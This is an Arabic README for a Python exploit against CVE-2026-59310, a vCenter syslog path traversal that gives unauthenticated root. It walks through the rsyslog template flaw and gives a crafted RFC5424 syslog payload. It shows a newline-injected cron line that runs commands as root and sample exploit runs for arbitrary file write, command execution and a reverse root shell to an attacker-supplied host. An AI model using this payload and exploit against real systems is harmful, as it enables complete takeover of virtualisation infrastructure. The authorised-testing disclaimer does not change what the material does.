
Python PoC واستغلال لـ CVE-2026-59310، وهو اجتياز مسار syslog في VMware vCenter يؤدي إلى تنفيذ أوامر عن بُعد بصلاحيات root دون مصادقة عبر حقن cron، مع إرشادات الكشف والتنظيف.
إخلاء المسؤولية: هذا المشروع مخصص فقط لاختبارات الأمان المصرّح بها، والتحقق من الثغرات، وأبحاث الدفاع. يُرجى استخدامه في بيئات حصلت على تصريح كتابي صريح. يتحمل المستخدم وحده مسؤولية أي عواقب ناتجة عن سوء الاستخدام.
| البند | المحتوى |
|---|---|
| اسم الثغرة | ثغرة اجتياز المسار في Syslog في VMware vCenter |
| رقم الثغرة | CVE-2026-59310 |
| نوع الثغرة | اجتياز المسار (Path Traversal) → كتابة ملفات عشوائية → تنفيذ أوامر عن بُعد |
| CVSS 3.1 | 9.8 (حرجة) |
| شرط الاستغلال | يكفي فقط الوصول إلى منفذ syslog (افتراضيًا UDP/TCP 514)، دون أي بيانات اعتماد |
| نتيجة الاستغلال | الكتابة إلى أي مسار وتنفيذ أي أوامر بصلاحيات root |
| تاريخ الإفصاح | 2026-07-29 |
| الاستغلال في البرية | تم رصده |
| إشعار المورّد | VMSA-2026-0006 |
تستخدم خدمة استقبال syslog المدمجة في vCenter (rsyslog) قالب مسار ديناميكي لحفظ السجلات، حيث يقوم القالب بدمج حقلي
APP-NAME وHOSTNAME من ترويسة الرسالة مباشرةً في مسار الملف، دون أي تنقية للمسار. يستطيع المهاجم إرسال رسالة مُصمّمة إلى منفذ
syslog الذي يمكن الوصول إليه، مما يجعل مسار الكتابة يفلت من دليل السجلات المحدد مسبقًا، ثم بالاقتران مع المهام المجدولة تحقيق تنفيذ أوامر عن بُعد.
يُعدّ vCenter مركز إدارة المحاكاة الافتراضية، وسقوطه يعني سقوط بيئة vSphere / VCF بأكملها.
الإصدارات المتأثرة (الأقدم من إصدارات الإصلاح التالية)
| الفرع | النطاق المتأثر | إصدار الإصلاح |
|---|---|---|
| 9.1 | < 9.1.0.0300 | 9.1.0.0300 |
| 9.0 | < 9.0.2.0100 | 9.0.2.0100 (Build 25629525) |
| 8.0 U3 | < 8.0 U3k | 8.0 U3k |
| 8.0 U2 | < 8.0 U2f | 8.0 U2f |
| 8.0 الإصدار الأولي / U1 | الكل | الترقية وفق المسار المدعوم إلى 8.0 U3k أو أعلى |
| 7.0 | لم يتم تثبيت تصحيح الدعم الممتد المقابل | تواصل مع Broadcom للحصول على التصحيح، أو الترحيل إلى إصدار مدعوم |
يشمل أيضًا: عمليات نشر vCenter المستقلة، بالإضافة إلى مكوّنات vCenter المتأثرة المستخدمة في VMware Cloud Foundation وVMware vSphere Foundation وVMware Telco Cloud.
البيئة التي تم التحقق منها: VMware vCenter Server 9.0.2.0 / Build 25148086، أقدم من إصدار الإصلاح 25629525، وهو بالفعل في حالة غير مُصلّحة.
/etc/rsyslog.conf (إعداد VMware الافتراضي من المصنع):
29: $template defaultLoc, "/var/log/vmware/%app-name%/%app-name%-syslog.log"
33: $template rsyslogadminLoc,"/var/log/vmware/%app-name%/%app-name%-syslog.log"
35: $template esxLoc, "/var/log/vmware/esx/%hostname%/%hostname%-syslog.log"
يُستخدم %app-name% كاسم دليل واسم ملف في آنٍ واحد، دون أي تنقية للمسار.
63: :app-name, startswith, "rsyslog" ?rsyslogadminLoc;rsyslogadminFmt
يشترط فقط مطابقة البادئة، فيكفي المهاجم استخدام rsyslog/... لمطابقة هذه القاعدة والدخول إلى قالب المسار الديناميكي.
24: $EscapeControlCharactersOnReceive off
يُكتب محتوى الرسالة بما فيه محرف السطر الجديد كما هو على القرص، مما يمكّن المهاجم من التحكم في بنية الأسطر للملف المكتوب.
هذه هي النقطة الأكثر عرضة للتفويت في تقييم هذه الثغرة.
/ افتراضيًا،
مما يؤدي إلى اقتطاع APP-NAME عند / → لا يمكن الاجتياز.APP-NAME مستقل ومفصول بمسافة، ولا يخضع لتحقق قائمة الأحرف المسموحة،
فيُحتفظ بـ / و.. كما هما → يمكن الاجتياز.يستخدم الخادم input(type="imudp" port="514") مجموعة القواعد الافتراضية، ويقبل رسائل RFC5424 أيضًا.
يكفي أن يكتب المهاجم الرسالة بصيغة RFC5424، لتصل أحرف الاجتياز مباشرةً إلى مسار الملف.
مقارنة عملية (نفس الحمولة rsyslog/../../../../tmp/x):
| المحلّل | القيمة الفعلية لـ %app-name% |
|---|---|
| pmrfc3164 | rsyslog ← مقتطع عند / |
| pmrfc5424 | rsyslog/../../../../tmp/x ← محفوظ بالكامل |
دليل مساند: سيتم إنشاء
..المجرّدة كـاسم دليل حرفي (مثلrsyslog..)، مما يدل على أن طبقة omfile في rsyslog لا تقوم بتطبيع..؛ وما يحدد النجاح فعليًا هو قدرة المحلّل على تمرير/إلى الحقل.
① حزمة UDP دون مصادقة → ② حقل APP-NAME بصيغة RFC5424 يحمل الاجتياز → ③ الإفلات من دليل السجلات والكتابة العشوائية (root)
↓
⑤ تنفيذ أوامر بصلاحيات root ← ④ زرع مهمة مجدولة في /etc/cron.d
<134>1 2026-01-05T12:00:00Z h rsyslog/../../../../tmp/PWNED 1 ID - hello
بالتعويض في القالب:
الدليل = /var/log/vmware/rsyslog/../../../../tmp/PWNED → /tmp/PWNED
الملف = نفسه + "-syslog.log" → /tmp/PWNED-syslog.log
النتيجة: الكتابة بمالك root إلى /tmp/PWNED-syslog.log، مع إنشاء الدليل الأب المفقود تلقائيًا، والمحتوى قابل للتحكم بالكامل.
ينتهي اسم الملف المكتوب دائمًا بـ -syslog.log، لذا لا يمكن الكتابة فوق /etc/cron.d/xxx مباشرةً.
لكن بفضل تسرّب محرف السطر الجديد، يمكن حقن سطر جديد في MSG، لتبدأ المحتويات القابلة للتحكم من العمود 0 في الملف:
2026-01-05T12:00:00Z info rsyslog/../../../../../etc/cron.d/poc ← يبلّغ cron عن "bad minute"، ويتم تجاهله
* * * * * root /bin/sh -c '{ id; } > /tmp/out.txt 2>&1' ← يُنفَّذ كسطر cron صالح
#
يقوم crond بالجدولة والتنفيذ بصلاحيات root، فنحصل على:
uid=0(root) gid=0(root) groups=0(root),4044(shellaccess)
/opt/vmware/share/htdocs/ (يستمع lighttpd على 5480)،
ثم القراءة عبر https://<target>:5480/...، بما يتوافق مع وصف إشعار المورّد./var/spool/cron/root: يمكن الكتابة إلى هذا الدليل، لكنه يتطلب ملفًا باسم root نفسه،
وهو مقيّد بلاحقة -syslog.log، لذا فإن /etc/cron.d/ أكثر مباشرة.| البند | القيمة |
|---|---|
| الهدف | VMware vCenter Server 9.0.2.0، Build 25148086 |
| إصدار الإصلاح | 9.0.2.0100، Build 25629525 |
| rsyslog | 8.2306.0-4.ph5 (حزمة VMware المخصّصة) |
| منفذ syslog | UDP/TCP 514، TCP 1514 (TLS) |
| متطلبات المصادقة | لا يوجد |
كتابة ملفات عشوائية (دون مصادقة)
$ python3 exploit_cve_2026_59310.py <target> --check
[i] إصدار مساحة أسماء API: 9.0.0.0 (ليس appliance build، للإشارة إلى البصمة فقط)
[*] APP-NAME : rsyslog/../../../../../tmp/cve59310_check_<name>
[+] تم الإرسال. يُتوقع إنشاء ملف بمالك root على الهدف
# على الهدف:
-rw-r----- 1 root root 102 /tmp/cve59310_check_<name>-syslog.log
تنفيذ الأوامر (root)
$ python3 exploit_cve_2026_59310.py <target> -c "id; hostname"
[+] تم الزرع : /etc/cron.d/cve59310<name>-syslog.log
[i] قراءة النتيجة : cat /tmp/cve59310_<name>.txt
# بعد حوالي 60 ثانية:
uid=0(root) gid=0(root) groups=0(root),4044(shellaccess)
localhost
shell تفاعلي عكسي (root)
$ python3 exploit_cve_2026_59310.py <target> --lhost <عنوان IP الخاص بك> --lport 4444
[+] تم الاستماع على 0.0.0.0:4444
[+] تم الزرع : /etc/cron.d/cve59310<name>-syslog.log
[+] نجح الاتصال العكسي من <target>:56184 —— تم إنشاء root shell
root@target# id; whoami
uid=0(root) gid=0(root) groups=0(root),4044(shellaccess)
root
يُرجى استبدال عنوان IP الهدف وعنوان الاتصال العكسي ببيئة الاختبار المصرّح بها الخاصة بك.